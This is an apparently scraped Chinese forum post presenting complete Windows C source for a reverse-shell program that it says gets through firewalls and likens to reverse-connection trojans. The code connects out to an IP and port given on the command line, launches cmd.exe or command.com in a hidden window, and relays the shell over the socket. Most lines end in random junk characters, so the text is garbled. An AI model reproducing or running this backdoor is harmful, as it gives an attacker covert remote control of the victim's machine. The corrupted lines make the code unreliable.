这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #gzY _)E
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/* ============================== M}|<#
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Rebound port in Windows NT L P?E
By wind,2006/7 QZ!;` ?(
===============================*/ :feU
#include XLe8]y=
#include ##~";j
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#pragma comment(lib,"wsock32.lib") RO(~c-fV
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void OutputShell(); GMqeC
SOCKET sClient; Ffxf!zS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X_yAx)Do
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^
void main(int argc,char **argv) ;fLYO6
{ }!=}g|z#|
WSADATA stWsaData; R0dIxG%
int nRet; Uf#.b2]
SOCKADDR_IN stSaiClient,stSaiServer; "L'0"
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if(argc != 3) &VG|*&M
{ 0Q^ -d+!
printf("Useage:\n\rRebound DestIP DestPort\n"); YY~BNQn6d
return; \mRRx#-r%
} n]$50_@
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WSAStartup(MAKEWORD(2,2),&stWsaData); GRV#f06
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =\;yxl
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stSaiClient.sin_family = AF_INET; R[Y]B$XO
stSaiClient.sin_port = htons(0); :<$B o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Id`?yt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) : tKa1vL
{ ~^#F5w"
printf("Bind Socket Failed!\n"); #jdo54-
return; tmM8YN|
} 6E~T$^Q}
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stSaiServer.sin_family = AF_INET; |DAe2RK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); > <cK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1<Fh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rO8Q||@>A
{ *~b3FLzq
printf("Connect Error!"); n3w(zB
return; MRzrZZ%LQ
} .I%p0ds1r
OutputShell(); ^6*LuXPv
} HZ$q`e
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void OutputShell() 6- H81y3
{ V\k?$}
char szBuff[1024]; oNV5su
SECURITY_ATTRIBUTES stSecurityAttributes; V_Owi5h
OSVERSIONINFO stOsversionInfo; S}zh0`+d'Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pAwmQS\W
STARTUPINFO stStartupInfo; C1
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char *szShell; o(iv=(o
PROCESS_INFORMATION stProcessInformation; uMW5F-~-+
unsigned long lBytesRead; M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3fC|}<Wzt
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C~\/FrO?
stSecurityAttributes.lpSecurityDescriptor = 0; @R+bR<}]
stSecurityAttributes.bInheritHandle = TRUE; TUeW-'/1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6L--FY>.-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XI6LPA0%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ('1k%`R%
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Efo,5
stStartupInfo.wShowWindow = SW_HIDE; qucw%hJ r
stStartupInfo.hStdInput = hReadPipe; z:PH _N~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PVBf'
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GetVersionEx(&stOsversionInfo); "X/cG9Lw
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switch(stOsversionInfo.dwPlatformId) ['F,
{ `V N $
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case 1: "]BefvE
szShell = "command.com"; _H#l&bL@C
break; )u{)"m`&[J
default: "m^whHj
szShell = "cmd.exe"; [kc%+j<g
break; pPztUz/.
} `_L=~F8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F_Q,j]0
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send(sClient,szMsg,77,0); I"*;fdm
while(1) }@Mx@ S
{ (`0dO8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @d5G\1(%
if(lBytesRead) dt NHj/\
{ Iq&S6l <0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lLuAZoH
send(sClient,szBuff,lBytesRead,0); IbRy~
} %\=oy=f
else cE
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{ !ra CpL9;
lBytesRead=recv(sClient,szBuff,1024,0); |.D_[QI
if(lBytesRead<=0) break; 5u ED
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); USVM' ~p I
} ,Mwyk1:xix
} M,Y lhL
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return; (n{sp
}